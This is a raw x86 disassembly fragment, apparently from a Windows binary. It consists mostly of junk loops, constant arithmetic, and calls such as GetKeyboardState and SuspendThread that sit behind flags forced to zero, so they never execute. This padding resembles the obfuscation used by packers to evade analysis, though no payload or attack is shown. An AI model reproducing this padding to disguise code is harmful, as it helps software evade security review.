jmp 0x48a220
and dword [ebp - 0xc80], 0
mov eax, dword [ebp - 0x78]
sub eax, dword [ebp - 0xc80]
mov dword [ebp - 0x234], eax
mov eax, dword [ebp - 0x234]
imul eax, dword [ebp - 0x78]
test eax, eax
jne 0x48a24c
cmp dword [ebp - 0x78], 0
jne 0x48a24c
and dword [ebp - 0xc88], 0
jmp 0x48a256
mov dword [ebp - 0xc88], 1
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0xc88], eax
jl 0x48a270
cmp dword [ebp - 0x78], 0
jne 0x48a270
and dword [ebp - 0xc90], 0
jmp 0x48a27a
mov dword [ebp - 0xc90], 1
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0xc90], eax
jle 0x48a291
mov dword [ebp - 0xc98], 1
jmp 0x48a298
and dword [ebp - 0xc98], 0
mov eax, dword [ebp - 0xc98]
mov dword [ebp - 0xca0], eax
mov eax, dword [ebp - 0xca0]
cmp dword [ebp - 0x78], eax
jl 0x48a2bb
mov dword [ebp - 0x2108], 1
jmp 0x48a2c2
and dword [ebp - 0x2108], 0
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x292c], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x2110], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2e0c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2e0c], eax
mov eax, dword [ebp + 8]
inc eax
mov dword [ebp - 0x2118], eax
lea eax, [ebp - 0x2118]
push eax
push fcn.00473982
lea ecx, [ebp - 0x2614]
call fcn.0048b3b1
mov dword [ebp - 0x2ac], 0x96dd1e1e
mov dword [ebp - 0x47c], 2
mov dword [ebp - 0xec], 0x21f1
mov byte [ebp - 0x36d], 0
movzx eax, byte [ebp - 0x36d]
test eax, eax
je 0x48a348
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0x47c], eax
cmp dword [ebp - 0x2ac], 0
jne 0x48a369
mov dword [ebp - 0xca8], 1
jmp 0x48a370
and dword [ebp - 0xca8], 0
cmp dword [ebp - 0xca8], 0xef7d
jne 0x48a38e
mov eax, 0x121ac488
test eax, eax
jne 0x48a38e
and dword [ebp - 0xcb0], 0
jmp 0x48a398
mov dword [ebp - 0xcb0], 1
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0xec]
cmp dword [ebp - 0xcb0], eax
jne 0x48a662
mov dword [ebp - 0x6b0], 0
jmp 0x48a3d0
mov eax, dword [ebp - 0x6b0]
inc eax
mov dword [ebp - 0x6b0], eax
cmp dword [ebp - 0x6b0], 3
jge 0x48a3ec
mov eax, dword [ebp - 0x6b0]
mov dword [ebp + eax*4 - 0x23d0], 0xc285
jmp 0x48a3c3
mov dword [ebp - 0x47c], 0
jmp 0x48a405
mov eax, dword [ebp - 0x47c]
inc eax
mov dword [ebp - 0x47c], eax
cmp dword [ebp - 0x47c], 2
jg 0x48a660
mov dword [ebp - 0x6b8], 0
jmp 0x48a42b
mov eax, dword [ebp - 0x6b8]
inc eax
mov dword [ebp - 0x6b8], eax
cmp dword [ebp - 0x6b8], 3
jge 0x48a447
mov eax, dword [ebp - 0x6b8]
mov dword [ebp + eax*4 - 0x2e1c], 0x717b38e5
jmp 0x48a41e
mov dword [ebp - 0xec], 0
jmp 0x48a460
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 2
jg 0x48a65b
mov dword [ebp - 0xce8], 1
mov dword [ebp - 0x2128], 0x9381
mov dword [ebp - 0x2130], 0xdb2a93f0
mov dword [ebp - 0x2ac], 0
jmp 0x48a4a4
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 2
jg 0x48a656
mov eax, dword [ebp - 0xec]
cmp dword [ebp + eax*4 - 0x23d0], 0
jne 0x48a60f
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x23d0], 1
je 0x48a4e1
mov dword [ebp - 0xcb8], 1
jmp 0x48a4e8
and dword [ebp - 0xcb8], 0
mov eax, dword [ebp - 0xec]
add eax, dword [ebp - 0xcb8]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2e1c]
jne 0x48a50f
mov dword [ebp - 0xcc0], 1
jmp 0x48a516
and dword [ebp - 0xcc0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x23d0]
cmp dword [ebp - 0xcc0], eax
je 0x48a537
mov dword [ebp - 0xcc8], 1
jmp 0x48a53e
and dword [ebp - 0xcc8], 0
mov eax, dword [ebp - 0x2ac]
cmp dword [ebp - 0xcc8], eax
jle 0x48a558
mov dword [ebp - 0xcd0], 1
jmp 0x48a55f
and dword [ebp - 0xcd0], 0
mov eax, dword [ebp - 0x47c]
cmp dword [ebp - 0xcd0], eax
jge 0x48a579
mov dword [ebp - 0xcd8], 1
jmp 0x48a580
and dword [ebp - 0xcd8], 0
mov eax, dword [ebp - 0xcd8]
dec eax
cmp eax, dword [ebp - 0xce8]
jle 0x48a59b
mov dword [ebp - 0xce0], 1
jmp 0x48a5a2
and dword [ebp - 0xce0], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x23d0]
imul eax, dword [ebp - 0xce0]
cmp dword [ebp - 0xce8], eax
jne 0x48a5c9
mov dword [ebp - 0xcf0], 1
jmp 0x48a5d0
and dword [ebp - 0xcf0], 0
mov eax, dword [ebp - 0x2ac]
cmp dword [ebp - 0xcf0], eax
jle 0x48a5ea
mov dword [ebp - 0xcf8], 1
jmp 0x48a5f1
and dword [ebp - 0xcf8], 0
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp + eax*4 - 0x23d0]
cmp dword [ebp - 0xcf8], eax
je 0x48a60f
and dword [ebp - 0x2120], 0
jmp 0x48a619
mov dword [ebp - 0x2120], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2e1c]
imul eax, dword [ebp - 0x2128]
cmp eax, 0xffffffff
jne 0x48a63e
mov dword [ebp - 0xd00], 1
jmp 0x48a645
and dword [ebp - 0xd00], 0
mov eax, dword [ebp - 0xd00]
mov dword [ebp - 0x2130], eax
jmp 0x48a497
jmp 0x48a453
jmp 0x48a3f8
jmp 0x48a6aa
mov byte [ebp - 0x3e9], 0
movzx eax, byte [ebp - 0x3e9]
test eax, eax
je 0x48a689
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov byte [ebp - 0x375], 0
movzx eax, byte [ebp - 0x375]
test eax, eax
je 0x48a6aa
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
push 0
push 0
push 0
lea eax, [ebp - 0x34a0]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x48aa52
push 0
push 0
push 0x10
push dword [ebp - 0xab0]
call dword [sym.imp.USER32.dll_SendMessageW]
mov dword [ebp - 0x80], 0x2c03342e
mov dword [ebp - 0x3d4], 0x3b1a9565
mov dword [ebp - 0x6e0], 1
mov dword [ebp - 0x6c0], 0
jmp 0x48a70b
mov eax, dword [ebp - 0x6c0]
inc eax
mov dword [ebp - 0x6c0], eax
cmp dword [ebp - 0x6c0], 1
jge 0x48a727
mov eax, dword [ebp - 0x6c0]
mov dword [ebp + eax*4 - 0xd10], 1
jmp 0x48a6fe
mov dword [ebp - 0x80], 0
jmp 0x48a737
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0x17
jge 0x48a817
mov dword [ebp - 0x6d0], 0x38ecf54c
mov dword [ebp - 0x2934], 0xffffffff
mov dword [ebp - 0x293c], 0xffffffff
mov dword [ebp - 0x2944], 1
mov dword [ebp - 0x6c8], 0
jmp 0x48a782
mov eax, dword [ebp - 0x6c8]
inc eax
mov dword [ebp - 0x6c8], eax
cmp dword [ebp - 0x6c8], 2
jge 0x48a79e
mov eax, dword [ebp - 0x6c8]
mov dword [ebp + eax*4 - 0x32e0], 0x516a205b
jmp 0x48a775
mov dword [ebp - 0x6d0], 0x16
jmp 0x48a7b7
mov eax, dword [ebp - 0x6d0]
dec eax
mov dword [ebp - 0x6d0], eax
cmp dword [ebp - 0x6d0], 0x14
jg 0x48a812
mov dword [ebp - 0x6d8], 0
jmp 0x48a7d9
mov eax, dword [ebp - 0x6d8]
inc eax
mov dword [ebp - 0x6d8], eax
cmp dword [ebp - 0x6d8], 1
jge 0x48a7f5
mov eax, dword [ebp - 0x6d8]
mov dword [ebp + eax*4 - 0xd08], 0x84bc9c3
jmp 0x48a7cc
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd08]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xd08], eax
jmp 0x48a7aa
jmp 0x48a730
mov dword [ebp - 0x3d4], 0
jmp 0x48a830
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x3d4], 0
jg 0x48a956
mov dword [ebp - 0x6e0], 0
jmp 0x48a856
mov eax, dword [ebp - 0x6e0]
inc eax
mov dword [ebp - 0x6e0], eax
cmp dword [ebp - 0x6e0], 0
jg 0x48a906
mov dword [ebp - 0x80], 0
jmp 0x48a873
mov eax, dword [ebp - 0x80]
dec eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
jl 0x48a8a8
mov byte [ebp - 0x3eb], 0
movzx eax, byte [ebp - 0x3eb]
test eax, eax
je 0x48a8a6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x48a86c
mov dword [ebp - 0x80], 0
jmp 0x48a8b8
mov eax, dword [ebp - 0x80]
dec eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
jl 0x48a901
mov byte [ebp - 0x37d], 0
movzx eax, byte [ebp - 0x37d]
test eax, eax
je 0x48a8df
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov byte [ebp - 0x3ed], 0
movzx eax, byte [ebp - 0x3ed]
test eax, eax
je 0x48a8ff
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
jmp 0x48a8b1
jmp 0x48a849
mov eax, dword [ebp - 0x3d4]
mov eax, dword [ebp + eax*4 - 0xd10]
mov dword [ebp - 0x294c], eax
mov eax, dword [ebp - 0x3d4]
mov ecx, dword [ebp - 0x3d4]
cmp dword [ebp + eax*4 - 0xd10], ecx
jne 0x48a93a
mov dword [ebp - 0xd18], 1
jmp 0x48a941
and dword [ebp - 0xd18], 0
mov eax, dword [ebp - 0xd18]
neg eax
sub eax, 0xfff8
mov dword [ebp - 0x80], eax
jmp 0x48a823
lea ecx, [ebp - 0x2614]
call fcn.0047391a
mov dword [ebp - 0x6e8], 0xffffffff
mov byte [ebp - 0x385], 0
movzx eax, byte [ebp - 0x385]
test eax, eax
je 0x48a985
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov dword [ebp - 0x6e8], 0
jmp 0x48a99e
mov eax, dword [ebp - 0x6e8]
dec eax
mov dword [ebp - 0x6e8], eax
cmp dword [ebp - 0x6e8], 0xffffffff
jl 0x48aa4b
mov dword [ebp - 0x6f0], 3
mov byte [ebp - 0x3ef], 0
movzx eax, byte [ebp - 0x3ef]
test eax, eax
je 0x48a9d3
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
mov dword [ebp - 0x6f0], 0
jmp 0x48a9ec
mov eax, dword [ebp - 0x6f0]
inc eax
mov dword [ebp - 0x6f0], eax
cmp dword [ebp - 0x6f0], 0x1c
jne 0x48aa46
mov dword [ebp - 0x6f8], 0x999fb023
mov dword [ebp - 0x6f8], 0xfffffffb
jmp 0x48aa18
mov eax, dword [ebp - 0x6f8]
inc eax
mov dword [ebp - 0x6f8], eax
cmp dword [ebp - 0x6f8], 0xb
jl 0x48aa44
mov byte [ebp - 0x2ae], 0
movzx eax, byte [ebp - 0x2ae]
test eax, eax
je 0x48aa42
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
jmp 0x48aa0b
jmp 0x48a9df
jmp 0x48a991
jmp 0x48aa52
mov dword [ebp - 0x484], 0xffffffff
mov dword [ebp - 0x2138], 0xfffffffe
mov dword [ebp - 0x700], 0
jmp 0x48aa7f
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 3
jge 0x48aa9b
mov eax, dword [ebp - 0x700]
mov dword [ebp + eax*4 - 0x3218], 0x8b108f82
jmp 0x48aa72
mov eax, dword [ebp - 0x484]
mov dword [ebp - 0x2138], eax
mov dword [ebp - 0x484], 0
jmp 0x48aac0
mov eax, dword [ebp - 0x484]
inc eax
mov dword [ebp - 0x484], eax
cmp dword [ebp - 0x484], 3
jge 0x48aadc
mov eax, dword [ebp - 0x484]
mov dword [ebp + eax*4 - 0x3218], 0xfffffffb
jmp 0x48aab3
lea ecx, [ebp - 0x2614]
call fcn.0047390f
jmp 0x48b07d
pop edi
pop esi
mov esp, ebp
pop ebp
ret